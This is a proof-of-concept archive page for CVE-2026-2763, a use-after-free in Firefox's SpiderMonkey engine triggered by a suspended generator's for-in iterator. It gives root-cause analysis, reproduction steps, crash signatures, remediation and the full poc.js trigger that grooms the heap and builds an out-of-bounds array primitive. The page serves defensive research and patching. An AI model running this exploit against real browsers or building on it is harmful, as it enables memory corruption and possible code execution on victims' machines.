PoC Archive PoC Archive
CVE-2026-2763 / MFSA 2026-13, 2026-14, 2026-15, 2026-16 category: binary CVSS 9.8 (CRITICAL)
Patched

Firefox SpiderMonkey Generator For-in Iterator Use-After-Free (CVE-2026-2763)

Published: 2026-11-27 • Researcher: ppwwiinn (GitHub; upstream commit author "pwn")

Target software Mozilla Firefox and Thunderbird, SpiderMonkey JavaScript engine (for-in iteration and generators)
Affected versions Firefox before 148; Firefox ESR before 115.33 and ESR 128.x before 140.8; Thunderbird before 148 and Thunderbird 140.x before 140.8 (NVD CPE ranges)
Status PoC (research-grade exploit harness; successful OOB access not independently verified)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-2763 / MFSA 2026-13, 2026-14, 2026-15, 2026-16
Category
binary
Affected product
Mozilla Firefox and Thunderbird, SpiderMonkey JavaScript engine (for-in iteration and generators)
Affected versions
Firefox before 148; Firefox ESR before 115.33 and ESR 128.x before 140.8; Thunderbird before 148 and Thunderbird 140.x before 140.8 (NVD CPE ranges)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-03-05
Author / Researcherppwwiinn (GitHub; upstream commit author “pwn”)
CVE / AdvisoryCVE-2026-2763 / MFSA 2026-13, 2026-14, 2026-15, 2026-16
Categorybinary
SeverityCritical
CVSS Score9.8 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD)
StatusPoC (research-grade exploit harness; successful OOB access not independently verified)
Tagsfirefox, thunderbird, spidermonkey, javascript-engine, use-after-free, for-in, generator, proxy, garbage-collection, CWE-416, browser, out-of-bounds
RelatedN/A

Affected Target

FieldValue
Software / SystemMozilla Firefox and Thunderbird, SpiderMonkey JavaScript engine (for-in iteration and generators)
Versions AffectedFirefox before 148; Firefox ESR before 115.33 and ESR 128.x before 140.8; Thunderbird before 148 and Thunderbird 140.x before 140.8 (NVD CPE ranges)
Language / PlatformJavaScript; SpiderMonkey in Firefox/Thunderbird on Windows, Linux and macOS; browser or JavaScript shell
Authentication RequiredNo
Network Access RequiredYes (victim loads an attacker-supplied web page); a local JavaScript shell also works

Summary

SpiderMonkey mishandles the lifetime of the iterator object created for a for-in loop when the loop is suspended by yield inside a generator. The iterator is registered in a compartment-wide list but is kept alive only by the interpreter stack, so garbage collection during the suspended generator can free it while the engine still considers it active. A later delete operation walks the stale list entry, producing a use-after-free that the public PoC turns into a constrained one-bit write and then an out-of-bounds JavaScript array primitive. An attacker who can run JavaScript in a vulnerable browser can therefore corrupt memory in the content process, with remote code execution possible after further exploitation.

Vulnerability Details

Root Cause

The engine creates a PropertyIteratorObject / NativeIterator pair when a for-in loop begins. In JSOP::Iter, ValueToIterator() allocates the iterator and RegisterEnumerator() links the NativeIterator into the compartment-wide enumerators list. The interpreter keeps the only strong reference to the iterator on its own stack.

When yield suspends a generator inside the for-in body, the loop has not reached JSOP::EndIter, so CloseIterator() has not run and the iterator remains linked in the compartment list. If the suspended generator itself becomes unreachable and garbage collection runs, the PropertyIteratorObject is collected and its finalizer frees the associated NativeIterator, but the stale list link is never removed.

A subsequent delete on the object calls SuppressDeletedPropertyHelper(), which walks the compartment enumerators list and passes the freed NativeIterator to SuppressDeletedProperty(). That function reads the freed property cursor and performs cursor->markDeleted(), an OR of a single bit at an address derived from the stale iterator, giving the attacker a constrained one-bit write at an 8-byte-aligned address.

The upstream analysis observes that NativeIterator comes from the malloc arena, so ordinary GC-object spraying is unsuitable for adjacency. It instead grooms with ImmutableScriptData, which also lives in the malloc arena and stores JavaScript bytecode. Flipping a bit in the four-byte index operand of an InitElemArray bytecode causes setDenseInitializedLength() to exceed the array’s real capacity, which yields the out-of-bounds array primitive used by the PoC.

The precise heap layout described above is the upstream author’s analysis and has not been independently reproduced during archival.

Attack Vector

Remote, unauthenticated, via JavaScript executed in a web page. The script builds an object with many properties, wraps it in a Proxy whose getPrototypeOf trap triggers garbage collection while a generator is suspended in a for-in loop, then deletes one property to invoke the stale-iterator walk. The same trigger can be exercised locally in the JavaScript shell. No user interaction beyond loading the page is required.

Impact

  • Use-after-free of a NativeIterator and a one-bit write primitive in the content process.
  • Corruption of a bytecode immediate leading to an array with an initialized length beyond its capacity, i.e. out-of-bounds read/write.
  • Potential remote code execution inside the Firefox content sandbox; a separate sandbox escape is required for full host compromise.
  • At minimum, a renderer crash and denial of service; repeated loads can keep the browser unstable.

Environment / Lab Setup

Output
OS:          Ubuntu 24.04 LTS or Windows 11, disposable VM with snapshots
Target:      Firefox 147 or Firefox ESR 140.7 (both predate the 148 / 140.8 fixes);
             Thunderbird 147 / 140.7; or a pre-fix mozilla-central jsshell build
Attacker:    Static HTTP server serving poc.html and poc.js
Tools:       Firefox DevTools console, optional ASan jsshell build, gdb

Setup Steps

Shell script
1
2
cd pocs/binary/2026-11-27_cve-2026-2763-firefox-spidermonkey
python3 -m http.server 8000

The archive did not execute this PoC; no vulnerable browser build was used during review.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the lab — Boot a disposable VM image with a vulnerable Firefox, Thunderbird or jsshell. Ensure crash reporting or a debugger is available.
  2. Serve the files — Start the static server from this folder and open poc.html in the vulnerable browser, or run poc.js under the JavaScript shell.
  3. Trigger the lifetime bug — The page/script evaluates 64 candidate functions, builds a Proxy target with about 31 properties, and starts a generator that iterates it with for-in and yields. The Proxy getPrototypeOf trap calls the script’s garbage collector on its second invocation, while the generator is suspended.
  4. Trigger the stale-list walk — The script deletes property A11, forcing SuppressDeletedPropertyHelper to traverse the freed iterator.
  5. Observe the primitive — The script calls each candidate and looks for the one whose array-literal check succeeds, then prints the resulting array length and out-of-bounds elements. A vulnerable build may crash instead of printing.
  6. Clean up — Discard the VM snapshot; do not reuse the profile.

Exploit Code

Full trigger: poc.js (three upstream files archived, see Notes).

JavaScript
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
var handler0 = {
  getPrototypeOf(target) {
    if (cnt == 1) {
      gc();
      for (var i = 0; i < 0x40; i++) fff[i]();
      return null;
    }
    cnt++;
    return null;
  }
};

function *f(obj) {
  for (var key in obj) {
    if (obj.hasOwnProperty(key)) {
      yield obj[key];
    }
  }
}

f(new Proxy(o, handler0)).next();
delete o["A11"];

The full file also contains the 64 array-literal candidates, the ArrayBuffer pressure loop used as gc(), and the out-of-bounds printing loop.

Expected Output

Output
evil_func = <candidate index>
<array length greater than 8>
<out-of-bounds element values ...>

This output is illustrative; no live capture was produced during archival. On a patched build, no candidate reports success: evil_func stays undefined and the following call typically raises a TypeError, or the array length remains normal.

Detection & Indicators of Compromise

Output
AddressSanitizer: heap-use-after-free ... js::SuppressDeletedProperty
AddressSanitizer: heap-use-after-free ... js::CloseIterator
SIGSEGV in js::NativeIterator::markDeleted / SuppressDeletedPropertyHelper
MOZ_CRASH / compartment or GC assertions in the JavaScript engine

for-in loop inside a generator that yields
Proxy getPrototypeOf trap that allocates large ArrayBuffers or forces GC
delete of a property while the same object is being enumerated

There is no distinctive network indicator: delivery is an ordinary web page or script. Detection depends on crash telemetry, endpoint JavaScript scanning, and browser exploit-protection alerts.

SIEM / IDS note: browser crash reports containing SuppressDeletedProperty, CloseIterator or NativeIterator use-after-free frames from the same host in a short window are a strong signal of attempted exploitation.

Remediation

ActionDetail
PatchUpdate Firefox to 148+, Firefox ESR to 115.33+ or 140.8+, and Thunderbird to 148+ or 140.8+.
WorkaroundDisable JIT compilation (javascript.options.ion, javascript.options.baseline, and where applicable Wasm) as defense in depth; this reduces exploitability but does not fix the iterator lifetime bug.
Config HardeningKeep the content sandbox enabled, apply site isolation, block untrusted JavaScript, and monitor browser crash telemetry.
DetectionHunt for the crash signatures above and for the generator/for-in/Proxy/delete pattern in untrusted content.

References

Notes

Verdict: ingested as a genuine, non-malicious research PoC. The repository contains a working-style JavaScript trigger plus a detailed root-cause analysis, with no network code, persistence, credential theft, miner or other malware modules.

CVE mapping: the upstream README does not print the CVE identifier. The mapping is supported by NVD CVE-2026-2763 (SpiderMonkey use-after-free, CWE-416, fixed in Firefox 148 / ESR 115.33 / ESR 140.8 and Thunderbird 148 / 140.8), MFSA 2026-13 through 2026-16, restricted Bugzilla bug 2012018, and a public report that specifically describes a SpiderMonkey generator for-in iterator use-after-free with a write primitive.

License: the repository has no LICENSE file, so the upstream code is formally unlicensed. It is archived here with attribution for defensive research only; do not redistribute commercially.

Limitations: static review only, not executed. The exploit is research-grade and depends on precise garbage-collection timing, malloc-arena grooming and heap layout; the upstream README does not include a captured successful run, a full arbitrary read/write stage, a RCE/Wasm payload, or a sandbox escape. The OOB primitive may therefore be unreliable or incomplete, and a vulnerable browser can crash before any output. The 64-candidate array-literal detection loop is heuristic and may not fire on every build.

Omitted from upstream: only the .git directory (not copied by policy). There are no binaries, archives, lockfiles, credentials or media files in this repository; all three upstream files are included. A short authorized-research disclaimer header was prepended to poc.js; the code itself is unchanged.

poc.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// Archived for authorized security research only.
// Source: https://github.com/ppwwiinn/CVE-2026-2763-POC (commit 0873589, 2026-03-05)
// CVE-2026-2763 - SpiderMonkey generator for-in iterator use-after-free.
// Run only in a disposable lab environment. See README.md for attribution and limitations.
sfun = "()=>{let pad=2261634.5098039214;if(156842099844.51764 != 156842099844.51764){arrr = [EVILEVIL,0x12341234,0x1234,,,,,747707876334372900000];pad=2;pad=2;pad=3;pad=4;pad=5;return true;} return false;}"
fff=[]
for(var i = 0;i<0x40;i++)
	fff[i] = eval(sfun.replace("EVILEVIL",i + 2)); //avoid JSOP::Zero JSOP::One

function gc()
{
        for(var i=0;i<0x10000;i++)
                new ArrayBuffer(0x10000)
}

cnt = 0
var handler0 = {
        getPrototypeOf(target)
        {
		if(cnt == 1)
		{
			gc();
			for(var i=0;i<0x40;i++) fff[i]();
                	return null;
		}
		cnt++;
		return null;
        },
};

var o = {}
var nativeiter_len = (0x13c/8) - (0x40/8);
exploit = ()=>{
	for(var i=0;i<nativeiter_len;i++)
		o['A'+i] = i;
	o = new Proxy(o, handler0)

	function *f(obj)
	{
        	for(var key in obj)
        	{
                	if(obj.hasOwnProperty(key))
                	{
                        	yield obj[key];
                	}
        	}
	}
	f(o).next()
	delete o["A11"]

	let evil_func;
	for(var i=0;i<0x40;i++)
		if(fff[i]() == true)
			evil_func = i;

	console.log(`evil_func = ${evil_func}`)


	fff[evil_func]();


	console.log(arrr.length)

	for(var i=0;i<0x20;i++)
		console.log(arrr[i]) // <---- oob
}
exploit();